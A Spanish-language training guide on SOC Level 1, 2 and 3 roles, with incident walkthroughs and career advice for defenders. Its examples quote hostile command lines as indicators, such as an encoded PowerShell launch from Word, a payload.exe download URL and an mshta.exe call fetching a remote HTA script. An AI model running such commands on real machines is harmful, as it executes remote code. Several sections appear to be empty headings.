SOC Nivel 1, Nivel 2 y Nivel 3: funciones, habilidades y diferencias

1. La alerta inicial: ¿quién la investiga realmente? #

Imagina que la consola del SIEM genera la siguiente alerta de severidad alta:

High severity
Suspicious PowerShell execution

Host: PC-FIN-023
User: maria.garcia
Timestamp: 14:06:12

El árbol de procesos reportado por el agente EDR muestra la siguiente secuencia de ejecución:

OUTLOOK.EXE
└── WINWORD.EXE
    └── powershell.exe -EncodedCommand JABjAGwAaQBl...

¿Quién investiga esta alerta?

¿SOC Nivel 1?

¿SOC Nivel 2?

¿SOC Nivel 3?

La única respuesta profesional rigurosa es: depende del SOC.

En una corporación con un equipo maduro y estructurado, un analista L1 realizará el triage inicial, recopilará telemetría y escalará el caso con un informe técnico detallado. En otra organización con playbooks maduros de respuesta, ese mismo L1 tendrá la autoridad técnica delegada para aislar el equipo de la red inmediatamente. En una empresa mediana o pequeña, es muy probable que ni siquiera existan niveles separados y un único analista gestione la alerta de principio a fin. En un proveedor de servicios gestionados (MSSP), un equipo centralizado de triage masivo procesará la señal y la transferirá al equipo dedicado del cliente.

Por eso la primera regla que debes interiorizar es tajante:

SOC L1, L2 y L3 son una forma habitual de organizar operaciones. No una taxonomía universal ni un estándar obligatorio.

2. ¿Existe un estándar oficial para SOC Nivel 1, 2 y 3? #

No existe ninguna norma industrial internacional vinculante (ni ISO, ni NIST, ni ENISA) que obligue a las organizaciones a repartir las funciones exactamente bajo la etiqueta L1/L2/L3.

NIST NICE Framework (v2.2.0, abril 2026)

El Instituto Nacional de Estándares y Tecnología de EE. UU. (NIST) mantiene el marco NICE Framework (National Initiative for Cybersecurity Education). Sus componentes actuales (versión 2.2.0) describen la ciberseguridad mediante Work Roles, Tasks, Knowledge y Skills. NIST no define categorías rígidas como «L1» o «L2»: define roles funcionales como Defensive Cybersecurity e Incident Response, estructurando el trabajo por responsabilidades técnicas y competencias comprobables.

ENISA European Cybersecurity Skills Framework (ECSF)

La Agencia de la Unión Europea para la Ciberseguridad (ENISA) aplica un enfoque similar en Europa. El ECSF define doce perfiles profesionales y sitúa títulos como SOC Analyst y Security Operations Analyst bajo el perfil general de Cyber Incident Responder, cuyas responsabilidades abarcan monitorizar, analizar, mitigar y documentar incidentes. Tampoco impone una subdivisión obligatoria en tres tiers.

El modelo operativo de Microsoft Defender XDR

En el plano práctico de los fabricantes de seguridad, plataformas como Microsoft Defender XDR sí emplean activamente un modelo escalonado de operaciones en sus guías de respuesta a incidentes:

• Tier 1: Triage, asignación de prioridad, gestión de propiedad y escalado.
• Tier 2: Investigación profunda de incidentes, validación de evidencia y acciones de contención/remediación.
• Tier 3: Manejo de incidentes complejos, Advanced Hunting, Threat Analytics y mejora continua de reglas y playbooks.

Este desglose representa un modelo de referencia sumamente útil y adoptado por la industria, pero debe entenderse como un marco operativo de implementación, no una ley universal.

3. Entonces, ¿para qué sirven realmente los niveles? #

Los tiers existen por una razón puramente operativa: optimizar la gestión del tiempo y la especialización humana.

Cuando un SOC corporativo ingiere millones de logs al día y genera cientos de alertas de seguridad, resulta inviable asignar a los analistas más experimentados a revisar cada evento individualmente. Una estructura escalonada permite un filtrado eficiente:

VOLUMEN MASIVO DE ALERTAS (SIEM / EDR)
                 ↓
              NIVEL 1
      Triage inicial, descarte de falsos positivos
      y enriquecimiento de contexto
                 ↓
      (Casos que exigen investigación técnica profunda)
                 ↓
              NIVEL 2
      Reconstrucción de timeline, alcance lateral,
      contención y remediación de hosts
                 ↓
      (Incidentes críticos, brechas de visibilidad o amenazas evasivas)
                 ↓
              NIVEL 3
      Threat Hunting proactivo, ingeniería inversa,
      Detection Engineering y optimización defensiva

El propósito de esta arquitectura no debe ser jamás que «L1 se quite tickets de encima lo más rápido posible». El objetivo profesional es que cada caso llegue al nivel adecuado con la evidencia técnica ya recopilada, ordenada y justificada.

4. Tier operacional vs. Seniority: una distinción crítica #

Existe una tendencia generalizada a equiparar ciegamente:

SIMPLIFICACIÓN ERRÓNEA:
L1 = Junior
L2 = Mid-Level
L3 = Senior

Aunque en muchas estructuras existe cierta correlación, en la práctica profesional son conceptos diferentes:

• El Tier describe una función operacional dentro de la cadena de respuesta (primer contacto, análisis detallado o mejora estratégica).
• El Seniority describe la experiencia, madurez y criterio de la persona.

En entornos reales conviven situaciones como:

• Un analista senior con diez años de experiencia realizando guardia en funciones L1 para cubrir un turno nocturno crítico.
• Un especialista en DFIR (Digital Forensics & Incident Response) de alto nivel que no pertenece a ningún tier y solo interviene ante desastres declarados.
• Un Detection Engineer senior que diseña reglas para el SIEM pero nunca atiende la cola de alertas en tiempo real.
• Un analista L2 con cuatro años en la misma compañía que conoce las particularidades del negocio mejor que cualquier consultor externo.

Tier y seniority están relacionados, pero no son exactamente lo mismo.

5. SOC Nivel 1: convertir alertas en casos investigables #

El analista SOC Nivel 1 (Tier 1) constituye la primera línea de defensa e interacción humana con las alertas del sistema. En la guía de operaciones de Microsoft Defender XDR, a Tier 1 se le asignan responsabilidades indispensables:

• Realizar el triage inicial de eventos y alertas.
• Identificar incidentes de alta prioridad que requieren atención urgente.
• Asignar la propiedad (ownership) del ticket.
• Actualizar el estado y clasificar la severidad real.
• Enriquecer el caso con comentarios técnicos y etiquetas estructuradas.
• Ejecutar procedimientos operativos estándar (SOP) y playbooks guiados.
• Escalar con criterio técnico fundado cuando la situación lo exija.

Esto demuestra que el rol de un L1 va muchísimo más allá de la caricatura de «alguien que solo mira pantallas y aprieta botones». Su misión es transformar señales dispersas en casos estructurados y documentados.

6. ¿Qué hace realmente un SOC L1? Caso práctico: impossible travel #

Analicemos cómo opera un buen analista L1 ante una alerta común de identidad en Entra ID / Microsoft 365:

ALERTA: Possible Impossible Travel Activity
User: ana.lopez@empresa.com
Eventos:
  10:00 AM - Inicio de sesión exitoso desde Madrid, España (IP 80.24.12.4)
  10:14 AM - Inicio de sesión exitoso desde Virginia, EE. UU. (IP 52.14.88.10)

Un triage deficiente se limitaría a decir: «Son dos países distintos en 14 minutos. Físicamente imposible viajar. Escalo a L2.»

Un analista L1 con criterio técnico investiga la cadena contextual completa:

El analista analiza los detalles y descubre dos escenarios posibles:

• Escenario A (Falso Positivo explicable): La IP de EE. UU. pertenece al rango del gateway de la VPN corporativa en la nube o a un proxy de Zscaler. El dispositivo es el portátil corporativo gestionado (Intune compliant). El L1 documenta la evidencia y cierra el caso justificadamente sin saturar a L2.
• Escenario B (Incidente Verdadero): La IP de EE. UU. proviene de un hosting comercial (DigitalOcean o AWS). El User-Agent es diferente, el dispositivo no está registrado y se observa una aprobación de MFA por fatiga de notificaciones seguida de la creación de una regla de reenvío en el buzón de correo.

En el Escenario B, el L1 no se limita a hacer clic en «Escalar»: documenta exactamente los hallazgos técnicos que confirman la intrusión. El valor de L1 radica en saber por qué debe escalar.

7. Lo que un analista L1 debe dominar #

Para ingresar y desempeñarse con éxito en Nivel 1 no se necesita realizar ingeniería inversa de malware ni desarrollar exploits, pero resulta imposible trabajar sin una base sólida en fundamentos de sistemas:

8. La competencia clave de L1: saber cuándo escalar y cómo hacerlo bien #

Saber cuándo se alcanzan los límites del conocimiento propio y de los procedimientos asignados es una virtud técnica. Si un L1 detecta en un endpoint un proceso Word que generó PowerShell con comandos codificados en Base64 y una conexión externa no corporativa, no necesita desensamblar el binario en Ghidra. Necesita reconocer:

«Este evento supera los criterios de triage rutinario y dispongo de evidencia empírica suficiente para transferirlo a Nivel 2.»

Escalar bien también es una habilidad técnica. Comparemos dos formas de realizar una transferencia:

Lo que no debería convertirse en el trabajo de L1 #

Uno de los errores formativos más graves es acostumbrar al analista novato a un bucle mecánico:

BUCLE MECÁNICO DEFICIENTE:
Abrir alerta → Copiar IP en VirusTotal → Si es verde, cerrar ticket

Un atacante que utiliza infraestructura recién creada o servicios cloud legítimos (como Discord, GitHub o OneDrive para Command and Control) tendrá una reputación completamente limpia en los feeds públicos. Un analista L1 debe evaluar comportamiento, identidades, árboles de procesos y cronologías, no depender ciegamente de la reputación estática de un indicador.

10. SOC Nivel 2: investigar profundidad, alcance y respuesta #

Cuando un caso no puede descartarse como un falso positivo rutinario ni resolverse mediante un procedimiento estandarizado, comienza formalmente la investigación técnica en SOC Nivel 2 (Tier 2).

En el marco operativo de Microsoft Defender XDR, a los analistas Tier 2 se les encomiendan funciones de investigación y remediación activa:

• Revisar exhaustivamente incidentes escalados, alertas correlacionadas y telemetría de activos.
• Validar los hallazgos producidos por las herramientas de investigación automatizada (AIR).
• Identificar la totalidad de identidades, buzones y dispositivos afectados por la intrusión.
• Ejecutar acciones técnicas de contención directa (aislamiento de red, revocación de credenciales, purga de correos).
• Diseñar e implementar las medidas de remediación y documentar el informe post-incidente.

La diferencia no consiste simplemente en «examinar más registros». La pregunta estratégica cambia de raíz:

ENFOQUE L1:
«¿Esta señal aislada merece ser escalada?»

ENFOQUE L2:
«¿Qué ocurrió exactamente en el entorno y hasta dónde se propagó el adversario?»

11. El cambio fundamental de L1 a L2: de validar la alerta a determinar el alcance #

Retomemos la alerta del documento de Word iniciando PowerShell. Un analista L1 confirmó que la alerta era legítima y escaló el ticket. Cuando el analista L2 toma el caso, no repite el triage de L1: reconstruye la intrusión completa y delimita su alcance (blast radius).

L2 formula preguntas que trascienden el evento individual:

• Vector de entrada: ¿De dónde provino el archivo? ¿Fue descargado desde la web o adjunto en un correo de phishing? ¿Quién fue el remitente real?
• Ejecución y persistencia: ¿Qué instrucciones exactas ejecutó PowerShell tras decodificar el comando? ¿Se crearon tareas programadas, servicios o claves en el Registro de Windows?
• Acceso a credenciales: ¿Hubo intentos de volcar memoria de lsass.exe o consultar tickets Kerberos?
• Propagación lateral: ¿Intentó la cuenta comprometida autenticarse contra otros servidores mediante SMB (puerto 445) o WinRM (puerto 5985)?
• Búsqueda horizontal: ¿Cuántos otros empleados recibieron el mismo archivo o accedieron a la misma infraestructura externa?

12. Ejemplo de investigación L2: los 3 endpoints comprometidos #

El analista L2 recibe el ticket de PC-FIN-023 y amplía la ventana de tiempo en el SIEM y en la telemetría del EDR. Reconstruye la cronología completa de los hechos:

CRONOLOGÍA FORENSE RECONSTRUIDA:
14:02:10 | Correo recibido con adjunto "factura_pendiente.docm" desde remitente externo spoofing
14:04:15 | Usuario maria.garcia descarga el adjunto a su carpeta Descargas
14:05:02 | Se abre WINWORD.EXE y se habilitan macros VBA mediante aviso del usuario
14:06:12 | Word invoca powershell.exe (-EncodedCommand)
14:06:16 | PowerShell establece conexión saliente TCP a 203.0.113.50:443
14:07:05 | Se crea y ejecuta updater.exe en C:\Users\maria.garcia\AppData\Local\Temp\
14:09:22 | updater.exe crea una tarea programada persistente llamada "WindowsUpdateCheck"

Con estos artefactos confirmados (el hash SHA-256 de factura_pendiente.docm, la IP 203.0.113.50 y el hash de updater.exe), el analista L2 ejecuta una búsqueda horizontal (sweeping) en todo el parque corporativo a través del SIEM:

El incidente ha dejado de ser una simple alerta en una máquina de Finanzas: son tres equipos corporativos en riesgo crítico. El analista L2 coordina la respuesta:

1. Aísla inmediatamente de la red PC-FIN-023 y PC-RRHH-007 mediante el EDR.
2. Purga el correo malicioso de todos los buzones de Exchange/M365 antes de que otros usuarios lo abran.
3. Bloquea la IP 203.0.113.50 en el cortafuegos perimetral y proxies.
4. Fuerza el restablecimiento de contraseñas y revoca los tokens de sesión de los usuarios afectados.

13. Diferenciar evidencia e interpretación técnica #

A medida que un profesional asciende de nivel, la precisión de su lenguaje técnico debe volverse impecable. Un analista L2 debe distinguir taxativamente entre tres planos:

14. Habilidades habituales de un analista Nivel 2 #

Un analista L2 no es simplemente «un L1 que conoce más herramientas». Su diferencial radica en la autonomía de investigación: no necesita un manual rígido que le indique cada paso, sino que sabe qué buscar, dónde buscarlo y con qué prioridad.

• SIEM avanzado: Construcción de consultas complejas ad hoc, uniones de eventos (joins), series temporales estadísticas y agregaciones multicampo en lenguajes como KQL (Microsoft Sentinel) o SPL (Splunk).
• EDR y análisis en endpoint: Extracción y análisis de artefactos forenses (MFT, shimcache, amcache, memoria de procesos, handles abiertos).
• Active Directory e Identidad: Comprensión profunda de protocolos de autenticación (Kerberos, NTLM), tickets TGT/TGS, ataques de Kerberoasting, DCSync y manipulación de privilegios en el árbol de dominio.
• Análisis de Red: Inspección de flujos NetFlow, análisis de capturas de paquetes (PCAP) en Wireshark, decodificación de cabeceras HTTP y detección de DNS tunneling.
• Scripting para automatización: Uso de Python o PowerShell para interactuar con APIs de telemetría, parsear archivos JSON/EVTX masivos y automatizar búsquedas de IoCs en el parque informático.

15. SOC Nivel 3: cuando la pregunta ya no viene preparada #

En el SOC Nivel 3 (Tier 3), las fronteras operativas alcanzan el nivel estratégico. En el modelo de Microsoft Defender XDR, a Tier 3 se le asignan tareas avanzadas:

• Investigar incidentes complejos, ataques dirigidos (APTs) o situaciones de crisis corporativa.
• Ejecutar Advanced Hunting proactivo para descubrir amenazas que evadieron las defensas automatizadas.
• Explotar inteligencia de amenazas (Threat Analytics y CTI) para modelar adversarios específicos.
• Identificar brechas de visibilidad (telemetry gaps) y deficiencias en las reglas existentes.
• Diseñar nuevas analíticas de detección e instruir a la organización en la mejora de playbooks.

La máxima que define a un Nivel 3 es clara:

L3 no sólo investiga incidentes: ayuda a mejorar la capacidad con la que el SOC detectará el siguiente ataque.

16. La pregunta típica de L3: «¿Por qué no detectamos esto antes?» #

Observemos cómo evoluciona la pregunta central a medida que se escala en la estructura del SOC:

L1 RECIBE:
«¿Esta alerta individual merece nuestra atención?»

L2 RECIBE:
«¿Qué ocurrió exactamente y cuál es el alcance de la intrusión?»

L3 PREGUNTA:
«¿Por qué nuestras reglas no dispararon una alerta en la fase inicial del ataque?»

Esta pregunta transforma una respuesta reactiva en un ciclo de Ingeniería de Detección (Detection Engineering) y Threat Hunting:

Ejemplo de trabajo de L3: del incidente a la nueva detección

Tras el incidente de Word invocando PowerShell, el analista L3 analiza los registros y descubre un detalle inquietante: el atacante utilizó inicialmente un visor de PDF (AcroRd32.exe) para descargar el archivo de Word, pero ninguna alerta se activó porque la regla solo vigilaba macros ofimáticas clásicas.

El analista L3 formula una hipótesis de caza:

Hipótesis de Caza L3: «¿Existen otras aplicaciones de usuario no ofimáticas (visores PDF, navegadores web, clientes de mensajería) invocando intérpretes de comandos en nuestros puestos de trabajo?»

Ejecuta una consulta proactiva en el SIEM sobre los últimos 60 días, filtra el software corporativo legítimo e identifica una relación de alto riesgo. A continuación, diseña y prueba una nueva regla de detección con reglas Sigma para proteger a la compañía frente a ese vector en el futuro.

16. Tabla comparativa: SOC Nivel 1 vs. Nivel 2 vs. Nivel 3 #

Para visualizar con claridad las diferencias operativas entre los tres tiers, la siguiente tabla sintetiza las variables más determinantes de su día a día:

17. Profundidad, autonomía y autoridad: los tres ejes reales #

En lugar de clasificar a los analistas únicamente por años de experiencia o etiquetas de nómina, los centros de operaciones maduros evalúan la posición de un profesional a través de tres ejes cardinales:

1. Profundidad técnica de investigación

Un analista L1 trabaja principalmente en la superficie del evento: comprueba si un archivo existió, si el usuario inició sesión y si la IP externa es habitual. Un analista L2 desciende a la capa de ejecución del sistema operativo: examina claves de persistencia en el registro, inyecciones de código en memoria, tokens de autenticación Kerberos y comunicaciones de red cifradas. El analista L3 profundiza en el comportamiento del adversario completo: comprende la motivación del actor, sus variantes de herramientas, las debilidades del protocolo aprovechadas y cómo modelar ese comportamiento matemáticamente o mediante lógica de detección robusta.

2. Autonomía operativa

La autonomía describe cuánta supervisión requiere un analista para actuar:

• L1: Sigue caminos guiados. Si un escenario no encaja en ningún procedimiento documentado, su deber es consultar o transferir el caso antes de tomar decisiones improvisadas.
• L2: Construye su propio camino. Frente a una intrusión desconocida, diseña su propia matriz de búsqueda, plantea preguntas deductivas y selecciona qué fuentes de telemetría interrogar sin necesidad de aprobación paso a paso.
• L3: Define los caminos del equipo. Crea los playbooks de respuesta que utilizará L1, asesora a L2 en investigaciones complejas y decide en qué vectores de ataque la organización debe invertir tiempo de caza proactiva.

3. Autoridad operativa de contención

La capacidad de pulsar el botón de mitigación define el nivel de confianza de la organización. Aislar un equipo portátil de un comercial durante 15 minutos causa una molestia menor; aislar el servidor de base de datos transaccional que factura millones por hora paraliza a la empresa:

JERARQUÍA DE AUTORIDAD EN CONTENCIÓN:

L1 ──► Acciones rutinarias de bajo riesgo (ej. deshabilitar cuenta de usuario estándar según playbook)
L2 ──► Acciones tácticas de impacto medio/alto (ej. aislamiento de servidores departamentales, bloqueo de dominios corporativos)
L3 ──► Acciones críticas concertadas con SOC Manager / CISO (ej. corte de túneles VPN globales, desconexión de sedes)

18. El mismo incidente visto por los tres niveles #

Para comprobar cómo interactúan estos tiers en una situación práctica real, analicemos un escenario de compromiso habitual:

Escenario: Un empleado del departamento contable abre una factura adjunta en un correo electrónico. En el endpoint PC-FIN-023, OUTLOOK.EXE invoca a WINWORD.EXE, que a su vez ejecuta powershell.exe descargando un binario sospechoso.

Perspectiva SOC L1 (Triage y delimitación inicial)

• Entrada: El EDR dispara una alerta de severidad alta: «Suspicious process execution: Word launched PowerShell».
• Acción L1: Revisa el árbol de procesos en la consola EDR. Extrae la línea de comando codificada en Base64, la decodifica y localiza la URL remota http://cdn-updates[.]top/payload.exe. Verifica en Windows Event Logs que el proceso finalizó con código de éxito y que el archivo fue escrito en disco.
• Decisión L1: Confirma que no se trata de una macro contable legítima. Documenta el usuario, IP local, hash del binario y cronología exacta. Aplica la acción preliminar de aislar la estación PC-FIN-023 y escala el ticket a L2 en menos de 15 minutos con toda la evidencia empaquetada.

Perspectiva SOC L2 (Investigación forense, alcance y contención)

• Entrada: Recibe el caso escalado con el equipo ya contenido y la telemetría inicial validada.
• Acción L2: Interroga el SIEM y el servicio de mensajería (Microsoft Defender for Office 365 / Google Workspace). Descubre que el mismo correo electrónico fue enviado a otros 14 empleados de Finanzas y Recursos Humanos; 2 de ellos hicieron clic y descargaron el adjunto (PC-FIN-024 y PC-HR-008).
• Análisis profundo L2: Analiza las conexiones de red y registros de autenticación Kerberos (análisis de logs y tráfico y eventos 4768/4769). Descubre que el malware intentó ejecutar whoami /groups y consultó el controlador de dominio buscando cuentas privilegiadas.
• Respuesta L2: Aísla los dos equipos adicionales, purga los 14 correos maliciosos de todos los buzones corporativos, bloquea la IP y el dominio externo en los firewalls perimetrales, revoca las credenciales de los tres usuarios y coordina la restauración limpia de los equipos.

Perspectiva SOC L3 (Detección, caza y mitigación de brechas)

• Entrada: El incidente ha sido contenido y remediado por L2. L3 recibe los artefactos y el reporte forense.
• Pregunta L3: «¿Por qué el filtro antispam no detectó el archivo si tenía un exploit conocido? ¿Y por qué nuestra regla SIEM de PowerShell no alertó cuando intentó enumerar el Directorio Activo?»
• Acción L3: Analiza el binario y observa que utilizaba una técnica de evasión de AMSI (Antimalware Scan Interface) en memoria. Además, la descarga se produjo mediante un protocolo DNS Tunneling no convencional que evadió la inspección web estándar.
• Mejora L3: Modifica la configuración de Sysmon para registrar eventos de acceso a memoria (Event ID 10) sobre procesos críticos. Desarrolla y valida una nueva regla Sigma para detectar argumentos de evasión de AMSI. Finalmente, ejecuta una campaña de Threat Hunting sobre los últimos 90 días buscando solicitudes DNS de longitud anómala, garantizando que ninguna intrusión previa del mismo adversario permanezca oculta en la red.

19. El modelo de tiers según el tipo de organización #

La estructura de tres niveles no es una receta idéntica en todas las empresas. En la práctica, la arquitectura del SOC varía profundamente según el tamaño, presupuesto y modelo de negocio:

20. Qué dicen los marcos profesionales: NIST NICE v2.2.0 y ENISA ECSF #

Cuando consultamos los estándares de referencia internacional, descubrimos algo revelador: ninguno de los grandes marcos de competencias utiliza los términos comerciales «L1», «L2» o «L3» como categorías rígidas. En su lugar, definen roles laborales por áreas de conocimiento, tareas y niveles de responsabilidad.

NIST Workforce Framework for Cybersecurity (NICE v2.2.0, abril 2026)

El estándar oficial del Instituto Nacional de Estándares y Tecnología de EE. UU. (NIST SP 800-181r2 / NICE Framework v2.2.0) estructura las funciones defensivas del SOC en torno a dos Roles de Trabajo principales dentro de la categoría Protect and Defend:

• Cybersecurity Defense Analyst (PR-CD-002 / OPM 511): Encargado de utilizar datos recopilados por herramientas de monitorización para identificar eventos sospechosos, realizar análisis preliminar, correlacionar eventos y mitigar amenazas inmediatas. Se alinea principalmente con las responsabilidades de Tier 1 y Tier 2 inicial.
• Cyber Defense Incident Responder (PR-CD-001 / OPM 531): Especialista en investigar, contener y mitigar incidentes de ciberseguridad, reconstruyendo artefactos, realizando triage forense y coordinando la respuesta técnica. Representa el núcleo de Tier 2 avanzado y Tier 3.

El marco NICE asocia a estos roles conjuntos específicos de Conocimientos (K), Habilidades (S) y Tareas (T) (modelo TKS), permitiendo medir la competencia real de un analista más allá de su título laboral.

ENISA European Cybersecurity Skills Framework (ECSF)

En el ámbito europeo, la Agencia de la Unión Europea para la Ciberseguridad (ENISA) define 12 perfiles profesionales de ciberseguridad. En las operaciones de defensa destacan:

• Security Operations Analyst: Monitorización de sistemas, detección de anomalías y reporte de incidentes en tiempo real.
• Cyber Incident Responder: Investigación profunda de brechas, coordinación de contención y recuperación de servicios.

Además, el marco internacional SFIA (Skills Framework for the Information Age) describe la evolución profesional a través de 7 niveles de responsabilidad (desde el Nivel 1 Follow hasta el Nivel 7 Set Strategy). Un analista SOC suele progresar del Nivel 2 (Apply) al Nivel 4 (Enable) a medida que avanza de L1 a L3.

Principio clave: Las competencias técnicas y los marcos de responsabilidad son estables; las etiquetas comerciales de los puestos cambian con cada departamento de recursos humanos.

21. Cómo progresar en la carrera: de L1 a L2 y L3 #

Muchos analistas se preguntan qué se necesita exactamente para dar el salto entre niveles. La progresión profesional no ocurre acumulando meses pasivamente mirando monitores; exige un cambio deliberado en las habilidades que se entrenan.

El salto de L1 a L2: de seguir playbooks a entender los sistemas

El salto de L2 a L3: de responder a crear capacidades defensivas

Para alcanzar el nivel L3, el analista debe trascender la investigación reactiva caso a caso e interesarse por la ingeniería y la proactividad:

• Dominar la Ingeniería de Detección: Traducir tácticas de MITRE ATT&CK en reglas robustas utilizando Sigma, KQL o SPL, minimizando falsos positivos sin generar puntos ciegos.
• Aprender Threat Hunting estructurado: Formular hipótesis basadas en inteligencia de amenazas (CTI), no en intuiciones aleatorias.
• Emulación de adversarios: Probar las defensas ejecutando pruebas controladas con marcos como Atomic Red Team para verificar si la telemetría actual detecta las técnicas más críticas.
• Automatización: Escribir scripts en Python o PowerShell para enriquecer telemetría, consultar APIs de análisis y eliminar fricción operativa en los flujos de trabajo.

Desmitificación: El rol de SOC Manager no es «Nivel 4»

Un error muy extendido en el sector es asumir que la cúspide técnica tras L3 es convertirse en SOC Manager. No es así.

BIFURCACIÓN DE CARRERA EN CIBERSEGURIDAD DEFENSIVA:

                        ┌──► SOC Manager / Lead (Gestión de personas, presupuesto, SLAs, métricas ejecutivas)
Analista L1 ──► L2 ──► L3 ┤
                        └──► Principal Detection Engineer / Incident Response Lead / Threat Hunter (Especialización técnica sénior)

El rol de SOC Manager es una posición de gestión de personas, presupuestos, relación con stakeholders de negocio, contratación y cumplimiento de acuerdos de nivel de servicio (SLAs). Un analista L3 que desee continuar en el ámbito puramente técnico suele orientarse hacia roles de Principal Detection Engineer, Staff Incident Responder o Security Architect.

22. Laboratorio práctico: un mismo evento en 3 perspectivas y análisis de ofertas #

Para asimilar cómo difiere la ejecución técnica en el terreno real, realizaremos un ejercicio práctico analizando un mismo evento adverso y, posteriormente, desglosaremos tres ofertas de trabajo representativas del mercado internacional.

Proceso: C:\Windows\System32\mshta.exe
Línea de comando: "C:\Windows\System32\mshta.exe" http://198.51.100.22/script.hta
Proceso Padre: explorer.exe (PID 4120)
Usuario: corporativo\jorge.navarro
Timestamp: 2026-10-07 16:42:10 UTC
Conexión de red: mshta.exe -> 198.51.100.22:80 (ESTABLISHED)

Cómo leer y descifrar ofertas laborales reales de SOC

Cuando revisas portales de empleo de ciberseguridad, las descripciones de puestos pueden parecer confusas. Veamos cómo interpretar tres perfiles reales:

23. Preguntas frecuentes sobre SOC Nivel 1, 2 y 3 #

24. Conclusión: el valor real de los tiers en las operaciones defensivas #

Dividir un centro de operaciones de seguridad en Nivel 1, Nivel 2 y Nivel 3 no responde a un capricho corporativo ni a una jerarquía estéril de galones. Es una respuesta necesaria para resolver el problema fundamental de la defensa digital: la asimetría del tiempo y la atención humana.

Sin L1, los analistas más experimentados colapsarían atendiendo falsos positivos rutinarios e incidencias menores de contraseña. Sin L2, las organizaciones carecerían de la profundidad y autonomía necesarias para investigar la causa raíz de intrusiones encubiertas antes de que se conviertan en desastres empresariales. Y sin L3, el SOC permanecería atrapado en un ciclo eterno de reactividad, combatiendo los mismos síntomas una y otra vez sin reforzar nunca las reglas ni anticiparse al adversario.

Tu evolución profesional no dependerá del número que figure en tu credencial, sino de las preguntas que sepas formular frente a la telemetría, el rigor con el que fundamentes tus decisiones y tu capacidad para transformar un incidente pasado en una organización más resistente frente a futuras intrusiones.

Con este análisis culmina la serie de 12 guías especializadas para la operativa defensiva y centros de respuesta a incidentes:

• 1. Logs de seguridad: qué son y cómo analizarlos — Fundamentos de telemetría y reconstrucción de eventos.
• 2. Windows Event Logs para SOC — Event IDs esenciales, autenticaciones y procesos en Windows.
• 3. Sysmon para Blue Team — Monitorización profunda de endpoints y correlación de procesos.
• 4. SIEM: funcionamiento e investigación para analistas — Ingestión, parsing y detección centralizada.
• 5. MITRE ATT&CK para SOC — Comportamiento adversario y modelado táctico en investigaciones.
• 6. Habilidades de un analista SOC — Competencias técnicas y analíticas del defensor digital.
• 7. Cómo ser analista SOC — Roadmap formativo y profesional para acceder a la industria.
• 8. SIEM vs SOAR — Detección versus orquestación y respuesta automatizada.
• 9. Respuesta a incidentes (IR) — Metodología de contención, erradicación y recuperación.
• 10. Playbooks de respuesta a incidentes — Procedimientos tácticos, árboles de decisión y Tabletop exercises.
• 11. Blue Team Roadmap — Ruta completa de especialización en ciberdefensa.
• 12. Trabajos en ciberseguridad — Panorámica del mercado laboral y roles defensivos.
• 13. SOC Nivel 1, 2 y 3 — Funciones, autonomía y progresión en operaciones de seguridad.